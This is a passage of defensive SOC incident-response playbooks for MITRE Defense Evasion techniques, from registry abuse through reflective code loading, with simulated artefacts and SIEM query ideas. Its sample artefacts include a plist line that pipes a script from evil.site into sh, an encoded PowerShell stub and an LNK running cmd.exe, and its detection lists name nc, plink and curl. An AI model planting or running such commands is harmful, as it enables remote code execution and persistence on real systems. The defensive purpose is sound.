Indicators

- Defender, logging or AMSI registry changes

Attacker intent

- Avoid detection

3C) Execution Control

Indicators

- Hijacked execution paths

Attacker intent

- Run malware via trusted binaries

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - LOLBins triggered via registry
2. Privilege Escalation
 - UAC bypass keys
3. Persistence
 - Additional autoruns or services
4. Command and Control
 - Registry-stored C2 config

Decision point

Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Export and preserve malicious registry keys
3. Revert registry values to known-good state

If malicious registry abuse confirmed

1. Identify process responsible for modification
2. Remove registry-based persistence
3. Notify SOC leadership and endpoint teams
4. Assume fileless or stealth malware presence

Eradication and recovery

- Delete malicious registry keys and values
- Restore baseline security and logging policies
- Reset affected user profiles if necessary
- Re-enable Defender, AMSI and logging
- Reimage system if registry integrity cannot be trusted

Detection engineering (SIEM ideas)

A) Autorun registry writes

index=windows

| where registry_path LIKE "%\\Run%"

B) Security policy registry changes

index=windows

| where registry_path LIKE "%Windows Defender%"

C) UAC bypass indicators

index=windows

| where registry_path LIKE "%ms-settings%"

Analyst checklist

- Registry modification confirmed
- Malicious keys identified and preserved
- Persistence removed
- Security settings restored
- Incident severity updated

Post-incident improvements

- Treat registry changes as executable behaviour
- Monitor high-risk registry paths continuously
- Baseline registry values for security-critical keys
- Correlate registry write → execution → network activity
- Educate analysts on fileless malware indicators

Playbook 110 (MITRE Defense Evasion): Modify System Image

Technique: Modify System Image

Sub-techniques:

- Patch System Image
- Downgrade System Image

Purpose

Detect, investigate and respond to adversaries evading defenses by altering the operating system image itself, enabling attackers to:

- Permanently embed malicious code into system images
- Remove or weaken built-in security controls at the OS level
- Reintroduce known vulnerabilities by downgrading system versions
- Evade endpoint security by operating below traditional detection layers
- Maintain long-term, stealthy persistence across reboots and rebuilds

Modify System Image is defense evasion at the foundation layer attackers do not hide on the system they change what the system is.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious OS image changes, including:

- System files or images modified outside approved patching processes
- OS version regressions without change approval
- Security features disappearing after reboot or rebuild
- Integrity checks failing on system images
- Identical “gold images” behaving differently across hosts

Example use case scenario (end-to-end)

Context: SOC detects repeated credential access attempts on newly provisioned servers. EDR agents show no anomalies during runtime. Image integrity scanning reveals the base OS image was patched to include a malicious authentication hook.

Attacker objective: Persist and evade detection by embedding malware directly into the system image.

Defender objective: Restore trusted images and eliminate compromised system foundations.

What it looks like (simulated SOC artefacts)

A) Patched System Image

ImageID=gold-win-2023

File=ntoskrnl.exe

Hash=Mismatch

Modification=Unauthorised

B) Embedded Malicious Component

Component=Authentication DLL

Location=System32

Signed=False

C) Downgraded OS Version

Host=SERVER-12

OSVersion=Windows Server 2016

Baseline=Windows Server 2022

D) Reintroduced Vulnerability

CVE=CVE-2020-1472

Status=Exploitable

Reason=Version Downgrade

E) Security Feature Loss

Feature=Credential Guard

State=Disabled

F) Evasion Outcome

Persistence=Image-Level

RebootSurvival=True

Severity decision (SOC)

High

- Image modification detected but limited scope

Critical

- Compromised system images deployed or OS downgraded to bypass security

Example severity: Critical

(Core system trust compromised)

Step-by-step SOC workflow

Step 1 Validate system image modification

Confirm:

1. Was the system image patched or downgraded?
2. Was the change approved and documented?
3. Does the modification weaken security or add unknown components?
4. Is the image used by multiple systems or deployments?

Decision point

- Legitimate patching → validate signatures and pipeline
- Malicious image manipulation → escalate immediately

Step 2 Identify modification type

Sub-technique	Indicator	Evasion value
Patch system image	Modified binaries	Invisible persistence
Downgrade system image	Older OS version	Exploit reuse
Security removal	Disabled features	Reduced detection
Image reuse	Spread across hosts	Scale

Step 3 Map behaviour to attacker intent

3A) Persistent Stealth

Indicators

- Malware survives rebuilds and reboots

Attacker intent

- Long-term control

3B) Defense Weakening

Indicators

- Missing modern OS protections

Attacker intent

- Easier exploitation and evasion

3C) Supply-Chain Style Control

Indicators

- Compromised “gold images”

Attacker intent

- Mass compromise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Modified auth components
2. Privilege Escalation
 - Kernel or system hooks
3. Persistence
 - Image redeployment pipelines

- 4. Impact
 - Broad compromise across environment

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Stop all image deployments immediately
2. Isolate systems built from suspect images
3. Preserve compromised images and hashes

If image compromise confirmed

1. Revoke access to image repositories
2. Notify SOC leadership, Platform and Management
3. Assume infrastructure or supply-chain compromise
4. Initiate enterprise-wide integrity review

Eradication and recovery

- Rebuild systems from known-good, verified images
- Recreate gold images from trusted sources
- Re-enable all OS security features
- Rotate credentials used during compromised period
- Audit CI/CD and image build pipelines

Detection engineering (SIEM ideas)

A) Image integrity monitoring

index=integrity

| where image_hash != baseline_hash

B) OS version regression detection

index=asset

| where os_version < approved_version

C) Security feature disablement

index=windows

| where security_feature_state="disabled"

Analyst checklist

- System image modification confirmed
- Affected images and hosts identified
- Deployments halted
- Trusted images restored
- Incident severity updated

Post-incident improvements

- Treat system images as critical security assets
- Enforce cryptographic signing and verification of images
- Restrict image modification to hardened pipelines
- Continuously monitor OS version and integrity drift
- Correlate image change → host behaviour → enterprise impact

Playbook 111 (MITRE Defense Evasion): Network Boundary Bridging

Technique: Network Boundary Bridging

Sub-techniques:

- Network Address Translation (NAT) Traversal

Purpose

Detect, investigate and respond to adversaries evading network defenses by bypassing segmentation, NAT or perimeter controls, enabling attackers to:

- Reach internal systems that should not be directly accessible
- Establish inbound or bidirectional communication through NAT devices
- Bypass firewall rules that rely on network boundaries
- Maintain command-and-control channels despite perimeter controls
- Abuse trusted outbound connectivity to punch back into internal networks

Network Boundary Bridging is defense evasion at the network trust boundary attackers don't break the firewall they go around it using how networks are designed to work.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected network connectivity crossing NAT or segmentation boundaries, including:

- Inbound access to internal hosts without port forwarding rules
- Internal systems initiating outbound connections that enable inbound control
- Long-lived or persistent outbound connections acting as reverse tunnels
- Peer-to-peer or relay-based communication bypassing perimeter firewalls
- Internal hosts accessible from external networks despite NAT

Example use case scenario (end-to-end)

Context: SOC observes an internal workstation establishing an outbound TCP connection to an external VPS. Minutes later, inbound commands are executed on the workstation without any inbound firewall rule changes. Network analysis reveals a reverse tunnel established through NAT.

Attacker objective: Bypass network boundaries to control internal systems from the outside.

Defender objective: Identify boundary traversal, disrupt tunnels and restore segmentation controls.

What it looks like (simulated SOC artefacts)

A) Outbound Connection Establishment

SourceIP=10.10.5.23

DestinationIP=45.76.112.9

DestinationPort=443

Direction=Outbound

B) Persistent Session

ConnectionDuration=6h 42m

Reconnections=Multiple

Protocol=Custom

C) Reverse Tunnel Behaviour

InboundCommands=Observed

InboundFirewallRules=None

D) NAT Traversal Technique

Method=Reverse TCP Tunnel

Tool=Custom

E) Segmentation Bypass

NetworkZone=User

AccessedResource=Restricted-Server

F) Evasion Outcome

PerimeterControls=Bypassed

Visibility=Low

Severity decision (SOC)

High

- NAT traversal detected but limited impact

Critical

- NAT traversal enabling sustained remote control or lateral access

Example severity: Critical

(Network boundary controls bypassed)

Step-by-step SOC workflow

Step 1 Validate network boundary bridging

Confirm:

1. Is internal access achieved without inbound rules?
2. Is NAT traversal used to enable inbound control?
3. Is the connection persistent, reverse or relay-based?
4. Does it bypass expected segmentation or firewall logic?

Decision point

- Legitimate remote access (VPN, management tools) → validate approval
- Unauthorised traversal → escalate immediately

Step 2 Identify NAT traversal method

Method	Indicator	Evasion value
Reverse TCP	Outbound tunnel	Firewall bypass
Reverse HTTPS	Long-lived TLS	Blend with web traffic
Relay / proxy	Third-party nodes	Attribution evasion
P2P traversal	Hole punching	No central C2

Step 3 Map behaviour to attacker intent

3A) Perimeter Bypass

Indicators

- No inbound firewall rule changes

Attacker intent

- Avoid network security controls

3B) Stealth C2 Establishment

Indicators

- Persistent outbound connections

Attacker intent

- Maintain access without alerts

3C) Lateral Reach Expansion

Indicators

- Access to restricted internal networks

Attacker intent

- Move deeper into environment

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Encrypted or multi-stage channels
2. Lateral Movement
 - Access to additional internal systems
3. Exfiltration
 - Data sent back through tunnel
4. Persistence
 - Tunnel re-establishment mechanisms

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Terminate suspicious outbound connections
2. Isolate affected hosts
3. Block external relay IPs/domains

If NAT traversal confirmed

1. Preserve full network packet captures if available
2. Identify tunnelling tools or binaries
3. Notify SOC leadership and Network teams
4. Assume active remote attacker control

Eradication and recovery

- Remove tunnelling tools or malware
- Rebuild affected hosts if integrity is uncertain
- Enforce strict egress filtering
- Limit outbound traffic to approved destinations
- Revalidate network segmentation rules

Detection engineering (SIEM ideas)

A) Long-lived outbound connections

index=network

| where connection_duration > threshold

B) Reverse tunnel behaviour

index=network

| where outbound=true AND inbound_commands=true

C) Unapproved remote access tools

index=edr

| where process_name IN ("ssh","plink","nc","custom-tunnel")

Analyst checklist

- NAT traversal confirmed
- Tunnelling method identified
- External infrastructure blocked
- Host integrity verified
- Incident severity updated

Post-incident improvements

- Treat egress traffic as a security boundary
- Implement default-deny outbound policies where possible
- Monitor for long-lived and bidirectional outbound sessions
- Correlate outbound connection → inbound control → internal access
- Regularly test segmentation and boundary assumptions

Playbook 112 (MITRE Defense Evasion): Obfuscated Files or Information

Technique: Obfuscated Files or Information

Sub-techniques covered:

- Binary Padding
- Software Packing
- Steganography
- Compile After Delivery
- Indicator Removal from Tools
- HTML Smuggling
- Dynamic API Resolution
- Stripped Payloads
- Embedded Payloads
- Command Obfuscation
- Fileless Storage
- LNK Icon Smuggling
- Encrypted / Encoded File
- Polymorphic Code
- Compression
- Junk Code Insertion
- SVG Smuggling

Purpose

Detect, investigate and respond to attacker use of obfuscation to conceal malicious content, intent or execution, enabling attackers to:

- Evade signature-based detection
- Delay or defeat static and dynamic analysis
- Bypass email, web and endpoint controls
- Hide payloads inside trusted formats
- Mutate malware to avoid reuse detection
- Deliver malware without obvious files

Obfuscation is the attacker's camouflage layer the payload exists, but nothing looks dangerous at first glance.

When to trigger this playbook

Trigger this playbook when indicators suggest content is deliberately disguised, including:

- Files that change behaviour only at runtime

- Payloads revealed only after decoding, decompression or execution
- Email or web content delivering malware without attachments
- Executables with abnormal entropy or size
- Scripts or commands unreadable to humans
- Multiple variants of “the same” malware with different hashes

Example use case scenario (end-to-end)

Context: SOC detects malware execution after a user opens a benign-looking HTML file. No attachment download is logged. Analysis shows HTML Smuggling delivering a Base64-encoded payload, decrypted in-browser and written to disk.

Attacker objective: Deliver malware without exposing a detectable file during transit.

Defender objective: Detect obfuscation layers, extract the true payload and stop future deliveries.

What it looks like (simulated SOC artefacts)

A) Binary Padding

FileSize=45MB
ActualCodeSize=600KB
Entropy=Low

B) Software Packing

PackedWith=UPX
OriginalImports=Hidden

C) Steganography

File=logo.png
HiddenData=PE Executable

D) Compile After Delivery

Payload=source.cs
CompiledAtRuntime=true

E) Indicator Removal from Tools

Mimikatz strings stripped
Known IOC patterns removed

F) HTML Smuggling

HTML contains Base64 payload
JS reconstructs executable client-side

G) Dynamic API Resolution

LoadLibrary + GetProcAddress
No static imports

H) Stripped Payloads

PE sections minimal
No debug symbols

I) Embedded Payloads

Payload embedded inside PDF/ISO

J) Command Obfuscation

powershell -enc SQBFaFgA...

K) Fileless Storage

Payload stored in registry/WMI
No file on disk

L) LNK Icon Smuggling

LNK icon=PDF
Target=cmd.exe /c payload

M) Encrypted / Encoded File

AES encrypted blob
Key derived at runtime

N) Polymorphic Code

Same behaviour
Different hash every execution

O) Compression

Payload unpacked in memory

P) Junk Code Insertion

Thousands of NOP-equivalent instructions

Q) SVG Smuggling

SVG with embedded JavaScript

Payload delivered via browser render

Severity decision (SOC)

Low

- Legitimate packing or compression
- Approved software protection

Medium

- Obfuscation detected but payload unclear
- Limited exposure

High / Critical

- Obfuscation hides malware delivery or execution
- Used to bypass security controls
- Multi-layer obfuscation observed

Example severity: High

(HTML smuggling + encoded payload + runtime decryption)

Step-by-step SOC workflow

Step 1 Confirm obfuscation is intentional

Confirm:

1. Which obfuscation technique is present?
2. Is it necessary for legitimate function?
3. Does it delay or prevent analysis?
4. Is malicious behaviour revealed after de-obfuscation?

Decision point

- Legitimate protection → document and monitor
- Malicious obfuscation → continue investigation immediately

Step 2 Identify obfuscation layers and scope

Layer	Evidence	Attacker value
Encoding / encryption	Base64, AES	Content hiding
Packing / compression	UPX, custom	Static evasion
Runtime assembly	Compile after delivery	AV bypass
Container abuse	HTML, SVG, LNK	Delivery evasion
Polymorphism	Hash variance	Detection resistance

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- No static indicators

Attacker intent

- Bypass AV, email, web filters

3B) Analysis Resistance

Indicators

- Multi-stage unpacking

Attacker intent

- Delay SOC response

3C) Payload Protection

Indicators

- Encrypted or embedded payloads

Attacker intent

- Protect tooling and infrastructure

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - De-obfuscated payload execution
2. Command and Control
 - Network activity post-unpack
3. Persistence
 - Registry, tasks, services
4. Impact
 - Ransomware, data theft

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block identified delivery vectors
2. Isolate affected endpoints
3. Quarantine obfuscated artefacts

If abuse confirmed

1. Remove decoded payloads and scripts
2. Block file types and patterns abused
3. Update EDR and email rules
4. Preserve samples for malware analysis

Eradication and recovery

- Remove malware and persistence mechanisms
- Reimage hosts if payload fully unknown
- Harden email, web and script execution controls
- Educate users on disguised file types
- Monitor for re-delivery using variant hashes

Detection engineering (SIEM ideas)

A) High entropy or packed files

index=edr
| where file_entropy > 7.5

B) Encoded PowerShell

index=windows
| where command_line LIKE "%-enc%"

C) HTML smuggling patterns

index=proxy
| where file_type="text/html"
| where script_contains="atob"

D) LNK abuse

index=edr
| where file_extension=".lnk"
| where target_process IN ("cmd.exe", "powershell.exe")

Analyst checklist

- Obfuscation technique identified
- Payload extracted and analysed
- Delivery vector blocked
- Scope of exposure assessed
- Detections updated

Post-incident improvements

- Treat obfuscation as a pre-execution red flag
- Detect behaviour, not hashes
- Expand sandbox and detonation coverage
- Alert on multi-layer obfuscation
- Include obfuscation drills in SOC training

Playbook 113 (MITRE Defense Evasion): Plist File Modification

Technique: Plist File Modification

Purpose

Detect, investigate and respond to adversaries evading defenses by modifying macOS Property List (plist) files, enabling attackers to:

- Achieve stealthy persistence on macOS systems
- Execute malware automatically at boot, login or application launch
- Hide malicious configuration inside trusted Apple file formats
- Bypass traditional file-based detection mechanisms
- Blend malicious behaviour into legitimate macOS system operations

Plist File Modification is defense evasion through native configuration abuse attackers do not need suspicious binaries they weaponise how macOS is designed to work.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious plist file changes, including:

- New or modified plist files in LaunchAgents, LaunchDaemons or app bundles
- Unexpected persistence on macOS systems after reboot or login
- macOS processes executing commands without visible user action
- Plist files modified by non-Apple-signed or unknown processes
- Malware present without traditional autorun artefacts

Example use case scenario (end-to-end)

Context: A macOS developer machine repeatedly spawns a hidden process after reboot. No suspicious binaries appear in common startup locations. Investigation reveals a modified LaunchAgent plist executing a hidden script.

Attacker objective: Persist and evade detection by leveraging native macOS startup mechanisms.

Defender objective: Identify malicious plist modifications and restore system integrity.

What it looks like (simulated SOC artefacts)

A) LaunchAgent Persistence

Path=~/.Library/LaunchAgents/com.apple.update.plist

ProgramArguments=/bin/bash -c curl http://evil.site/payload.sh | sh

RunAtLoad=true

B) LaunchDaemon Abuse

Path=/Library/LaunchDaemons/com.apple.system.plist

UserName=root

Program=/usr/bin/python3 /tmp/.hidden.py

C) Application Bundle Modification

App=/Applications/Safari.app

ModifiedFile=Info.plist

Key=CFBundleExecutable

Value=malicious_exec

D) Hidden Execution

Process=launchd

ChildProcess=sh

Visibility=None

E) Signature Mismatch

PlistOwner=root

CodeSignature=Unsigned

F) Evasion Outcome

Persistence=macOS Native

AVDetection=None

Severity decision (SOC)

Medium

- Suspicious plist modification without confirmed malicious execution

High

- Plist used for persistence or execution

Critical

- Root-level LaunchDaemons or system plist modifications

Example severity: High

Step-by-step SOC workflow

Step 1 Validate plist modification

Confirm:

1. Was a plist file created or modified?
2. Is the plist associated with execution, startup or configuration?
3. Was the change authorised and signed by Apple or a trusted vendor?
4. Does it result in automatic or hidden execution?

Decision point

- Legitimate app installation → verify developer signature
- Malicious modification → escalate immediately

Step 2 Identify plist abuse category

Category	Indicator	Attacker value
LaunchAgents	User-level persistence	Stealth
LaunchDaemons	Root persistence	Privilege
App Info.plist	Execution hijack	Trust abuse
System plists	Core behaviour change	Deep evasion

Step 3 Map behaviour to attacker intent

3A) Stealthy Persistence

Indicators

- Execution triggered by launchd

Attacker intent

- Survive reboots invisibly

3B) Trust Exploitation

Indicators

- Use of Apple-native mechanisms

Attacker intent

- Reduce alerting and suspicion

3C) Defense Bypass

Indicators

- No suspicious binaries or cron jobs

Attacker intent

- Evade traditional detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Scripts or binaries launched by plist
2. Command and Control
 - Network connections from launchd children
3. Credential Access
 - Keychain or user context abuse
4. Persistence
 - Additional plist or login item creation

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected macOS host
2. Disable and unload suspicious plist files
3. Preserve plist files and timestamps

If plist abuse confirmed

1. Identify process that created or modified plist
2. Remove malicious plist entries
3. Notify SOC leadership and macOS platform team
4. Assume macOS persistence mechanism abuse

Eradication and recovery

- Delete malicious plist files
- Restore legitimate plist versions from trusted sources
- Re-sign or reinstall affected applications
- Reset user credentials if user context abused
- Reimage system if root-level plist integrity is uncertain

Detection engineering (SIEM / EDR ideas)

A) Plist creation or modification

index=macos

| where file_path LIKE "%LaunchAgents%" OR file_path LIKE "%LaunchDaemons%"

B) launchd spawning shells

index=edr

| where parent_process="launchd"

| where process_name IN ("sh","bash","python","curl")

C) Unsigned plist modifications

index=macos

| where file_type="plist" AND code_signature!="Apple"

Analyst checklist

- Plist modification confirmed
- Persistence mechanism identified
- Malicious execution removed
- System integrity restored
- Incident severity updated

Post-incident improvements

- Treat plist files as executable logic, not static configuration
- Monitor LaunchAgents and LaunchDaemons continuously
- Baseline legitimate plist files and hashes
- Restrict root-level plist modification
- Correlate plist change → launchd execution → network or file activity

Playbook 114 (MITRE Defense Evasion): Pre-OS Boot

Technique: Pre-OS Boot

Sub-techniques:

- System Firmware
- Component Firmware
- Bootkit
- ROMMONkit
- TFTP Boot

Purpose

Detect, investigate and respond to adversaries evading defenses by compromising systems before the operating system loads, enabling attackers to:

- Persist below the OS, EDR and logging layers
- Survive disk wipes, reimaging and OS reinstallation
- Subvert secure boot and integrity mechanisms
- Execute malicious code before security controls are active
- Achieve long-term, near-invisible control of systems

Pre-OS Boot techniques represent the deepest layer of defense evasion attackers don't hide inside the OS they own the platform before it even starts.

When to trigger this playbook

Trigger this playbook when indicators suggest firmware-level or boot-chain compromise, including:

- Malware persistence after OS reinstall or disk replacement
- Integrity check failures in firmware or boot components
- Secure Boot unexpectedly disabled or bypassed
- Network devices behaving maliciously before OS load
- Abnormal boot behaviour, crashes or unexplained pre-boot activity

Example use case scenario (end-to-end)

Context: A server continues beaconing externally even after disk replacement and OS reinstallation. EDR shows no malicious files. Firmware inspection reveals a malicious UEFI module injected into system firmware.

Attacker objective: Achieve permanent, OS-independent persistence.

Defender objective: Identify pre-OS compromise and restore hardware trust.

What it looks like (simulated SOC artefacts)

A) System Firmware Compromise (UEFI)

FirmwareComponent=UEFI

Module=DXE_Backdoor

Signature=Invalid

Persistence=Across Reimage

B) Component Firmware Abuse

Component=NIC Firmware

Behaviour=Hidden Packet Manipulation

UpdateSource=Unauthorised

C) Bootkit Installation

BootSector=Modified

Loader=Malicious

OSLoad=Intercepted

D) ROMMONkit (Network Device)

Device=Router01

Mode=ROMMON

Backdoor=Enabled

AuthBypass=True

E) TFTP Boot Abuse

BootMethod=PXE

TFTPServer=Unknown

BootImage=Compromised.img

F) Evasion Outcome

EDR=Blind

Persistence=Hardware-Level

Recovery=OS Reinstall Ineffective

Severity decision (SOC)

High

- Suspected pre-OS modification without confirmed malicious execution

Critical

- Confirmed firmware, bootloader or ROM-level compromise

Example severity: Critical

(Platform trust fully compromised)

Step-by-step SOC workflow

Step 1 Validate pre-OS boot compromise

Confirm:

1. Does malicious behaviour persist across OS reinstalls?
2. Are firmware or boot components modified or unsigned?
3. Is Secure Boot or firmware integrity disabled or bypassed?
4. Does execution occur before OS security controls initialise?

Decision point

- Hardware vendor firmware update → validate authenticity
- Malicious pre-OS modification → escalate immediately

Step 2 Identify pre-OS technique

Sub-technique	Indicator	Evasion value
System firmware	UEFI module injection	OS-agnostic persistence
Component firmware	NIC, disk firmware	Stealth networking
Bootkit	Bootloader hijack	Early execution
ROMMONkit	Network device firmware	Infrastructure control
TFTP boot	Malicious PXE images	Mass compromise

Step 3 Map behaviour to attacker intent

3A) Ultimate Persistence

Indicators

- Survives wipe and rebuild

Attacker intent

- Permanent foothold

3B) Total Visibility Evasion

Indicators

- No OS-level artefacts

Attacker intent

- Operate below detection stack

3C) Strategic Access

Indicators

- Network or platform-wide impact

Attacker intent

- Long-term espionage or sabotage

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Pre-boot keylogging or auth interception
2. Command and Control
 - Network traffic originating before OS load
3. Lateral Movement
 - Compromised PXE or firmware reused elsewhere
4. Impact
 - Supply-chain or infrastructure-wide compromise

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Physically isolate affected hardware
2. Remove system from network
3. Preserve firmware, ROM and boot components

If pre-OS compromise confirmed

1. Notify SOC leadership, Platform, Hardware and Executives
2. Treat incident as nation-state / advanced threat level
3. Stop all deployments using shared images or PXE
4. Assume trust boundary collapse

Eradication and recovery

- Reflash firmware using vendor-verified images
- Replace hardware if firmware integrity cannot be assured
- Re-enable Secure Boot and hardware root of trust
- Rotate all credentials used on affected systems
- Audit supply chain, firmware update processes and PXE infrastructure

Detection engineering (SIEM / platform ideas)

A) Firmware integrity monitoring

index=firmware

| where signature_status!="valid"

B) Secure Boot state changes

index=platform

| where secure_boot="disabled"

C) PXE / TFTP boot monitoring

index=network

| where protocol="TFTP" AND boot_image!="approved"

Analyst checklist

- Pre-OS compromise confirmed
- Affected hardware identified
- Firmware integrity assessed
- Hardware trust restored or replaced
- Incident severity escalated appropriately

Post-incident improvements

- Treat firmware and boot chain as critical security assets
- Enforce hardware root-of-trust and measured boot
- Restrict firmware updates to signed, audited processes
- Monitor PXE, TFTP and boot infrastructure continuously
- Correlate rebuild survival → firmware anomaly → platform compromise

Playbook 115 (MITRE Defense Evasion): Process Injection

Technique: Process Injection

Sub-techniques:

- Dynamic-link Library Injection
- Portable Executable Injection
- Thread Execution Hijacking
- Asynchronous Procedure Call (APC) Injection
- Thread Local Storage (TLS) Injection
- Ptrace System Calls
- Proc Memory Injection
- Extra Window Memory Injection
- Process Hollowing
- Process Doppelgänger
- VDSO Hijacking
- ListPlanting

Purpose

Detect, investigate and respond to adversaries evading defenses by injecting malicious code into legitimate processes, enabling attackers to:

- Execute malware without creating new suspicious processes
- Run under the identity of trusted applications (e.g. explorer.exe, svchost.exe)
- Bypass application allow-listing and reputation-based detection
- Hide malicious activity inside benign process telemetry
- Access memory and privileges associated with higher-trust processes

Process Injection is defense evasion through execution camouflage attackers do not run malware directly they live inside something you already trust.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected memory manipulation or cross-process interaction, including:

- Legitimate processes performing malicious network or file activity
- Memory writes or thread creation targeting unrelated processes
- Malware activity without a clear on-disk executable
- Security alerts attributed to trusted system binaries

- Injection techniques observed during sandbox or memory analysis

Example use case scenario (end-to-end)

Context: EDR flags suspicious outbound C2 traffic from explorer.exe. No malicious binary is observed executing. Memory analysis shows a malware payload injected via process hollowing.

Attacker objective: Evade detection by executing malicious logic inside a trusted process.

Defender objective: Detect injection behaviour and restore execution integrity.

What it looks like (simulated SOC artefacts)

A) Dynamic-link Library Injection

TargetProcess=svchost.exe

InjectedDLL=C:\Users\Public\update.dll

LoadMethod=LoadLibrary

B) Portable Executable Injection

TargetProcess=explorer.exe

InjectedPE=InMemory

FileOnDisk=None

C) Thread Execution Hijacking

ThreadID=4128

Action=Suspended → Modified → Resumed

D) APC Injection

QueueAPC=InjectedShellcode

TargetThread=Idle

E) TLS Injection

TLSCallback=Malicious

Execution=Before Main()

F) Ptrace Injection (Linux)

ptrace(PTRACE_ATTACH)

TargetProcess=sshd

G) /proc Memory Injection

Write=/proc/1234/mem

Payload=Shellcode

H) Extra Window Memory Injection

SetWindowLongPtr

InjectedCode=Yes

I) Process Hollowing

OriginalProcess=svchost.exe

ImageReplaced=MalwarePayload

J) Process Doppelgänger

TransactedFile=Deleted

ProcessBackedBy=MaliciousImage

K) VDSO Hijacking

VDSOFunction=Overwritten

KernelSpaceInteraction=True

L) ListPlanting

SearchPath=Writable

LoadedDLL=FakeLibrary.dll

M) Evasion Outcome

ObservedProcess=Legitimate

ActualExecution=Malware

Severity decision (SOC)

High

- Injection attempt detected but blocked

Critical

- Successful injection into trusted or privileged processes

Example severity: Critical

(Trusted process execution compromised)

Step-by-step SOC workflow

Step 1 Validate process injection

Confirm:

1. Is one process modifying another process's memory or threads?
2. Is the target process legitimate or high-trust?
3. Is execution occurring without a new process creation?
4. Does behaviour indicate intentional evasion, not debugging?

Decision point

- Legitimate debugging/security tooling → validate signatures
- Malicious injection → escalate immediately

Step 2 Identify injection technique

Sub-technique	Indicator	Evasion value
DLL / PE injection	Memory-only payload	No disk artefacts
APC / TLS	Early or delayed execution	Sandbox evasion
Hollowing / Doppelgänger	Trusted image abuse	Allow-list bypass
ptrace / proc mem	Linux stealth	EDR bypass

VDSO hijack	Kernel-adjacent	Deep evasion
-------------	-----------------	--------------

Step 3 Map behaviour to attacker intent

3A) Trust Abuse

Indicators

- Malware activity from system binaries

Attacker intent

- Reduce alerting and suspicion

3B) Detection Avoidance

Indicators

- No executable on disk

Attacker intent

- Evade file-based detection

3C) Privilege Inheritance

Indicators

- Injection into elevated processes

Attacker intent

- Gain higher access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network activity from injected processes
2. Credential Access
 - LSASS or browser injection

3. Persistence
 - Re-injection after reboot
4. Defense Evasion
 - Further hiding of injected code

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Terminate injected processes
3. Capture full memory images

If injection confirmed

1. Identify injector process and parent chain
2. Preserve injected memory regions
3. Notify SOC leadership and endpoint teams
4. Assume active stealth malware execution

Eradication and recovery

- Remove injector binaries and tooling
- Reimage affected systems if integrity is uncertain
- Patch exploited APIs or vulnerabilities
- Harden EDR injection detection policies
- Rotate credentials if sensitive processes were targeted

Detection engineering (SIEM / EDR ideas)

A) Cross-process memory writes

index=edr

| where action="write_process_memory"

B) Thread manipulation detection

index=edr

| where action IN ("create_remote_thread","queue_apc")

C) Legitimate process with abnormal behaviour

index=network

| where process_name IN ("explorer.exe","svchost.exe")

| where destination_ip NOT IN approved_list

Analyst checklist

- Process injection confirmed
- Injection technique identified
- Injector and target processes documented
- Memory artefacts preserved
- Incident severity updated

Post-incident improvements

- Treat trusted process behaviour as untrusted until proven otherwise
- Expand memory-based detection and telemetry
- Monitor cross-process API usage continuously
- Correlate memory manipulation → trusted process activity → network actions
- Train analysts to recognise “legitimate process ≠ legitimate behaviour”

Playbook 116 (MITRE Defense Evasion): Reflective Code Loading

Technique: Reflective Code Loading

Purpose

Detect, investigate and respond to adversaries evading defenses by loading and executing code directly from memory without using the OS loader, enabling attackers to:

- Execute malware without writing executables or DLLs to disk
- Bypass application allow-listing and file-based security controls
- Evade antivirus and signature-based detection
- Operate entirely in-memory (“fileless” execution)
- Inject or execute payloads dynamically and transiently

Reflective Code Loading is defense evasion through memory-only execution the malware never becomes a traditional file, so many security controls never see it.

When to trigger this playbook

Trigger this playbook when indicators suggest code executing without a corresponding on-disk image, including:

- Malicious behaviour with no executable or DLL written to disk
- Memory regions marked executable that do not map to files
- Network traffic or system changes attributed to benign loaders
- Use of custom loaders, shellcode or in-memory PE loading
- EDR alerts referencing “reflective loader” or “memory module” activity

Example use case scenario (end-to-end)

Context: SOC observes suspicious outbound HTTPS traffic from powershell.exe. No malicious script or binary is present on disk. Memory inspection reveals a PE file reflectively loaded into memory, downloaded and executed entirely in RAM.

Attacker objective: Evade disk-based detection by executing payloads purely from memory.

Defender objective: Detect memory-only execution and disrupt the attack chain.

What it looks like (simulated SOC artefacts)

A) Memory-Only Module

Process=powershell.exe

LoadedModule=Unknown

MappedFromDisk=False

B) Reflective Loader Behaviour

API=VirtualAlloc + WriteProcessMemory + CreateThread

PEHeader=PresentInMemory

C) Network-Delivered Payload

Download=Encrypted Blob

Execution=In-Memory

DiskArtifacts=None

D) Legitimate Loader Abuse

ParentProcess=mshta.exe

ChildExecution=MemoryOnly

E) EDR Telemetry Gap

FileHash=None

Signature=None

F) Evasion Outcome

Detection=Delayed

Persistence=None

Execution=Ephemeral

Severity decision (SOC)

High

- Reflective loading detected but payload contained

Critical

- Reflective code loading used for C2, credential access or lateral movement

Example severity: Critical

(Fileless malware execution)

Step-by-step SOC workflow

Step 1 Validate reflective code loading

Confirm:

1. Is code executing without a backing file on disk?
2. Are PE headers or shellcode visible only in memory?
3. Is execution occurring via custom loaders or scripting engines?
4. Does this behaviour bypass normal process execution telemetry?

Decision point

- Legitimate in-memory frameworks (rare) → validate tooling
- Malicious reflective loading → escalate immediately

Step 2 Identify reflective loading vector

Vector	Indicator	Evasion value
Custom loader	Manual PE mapping	No OS loader
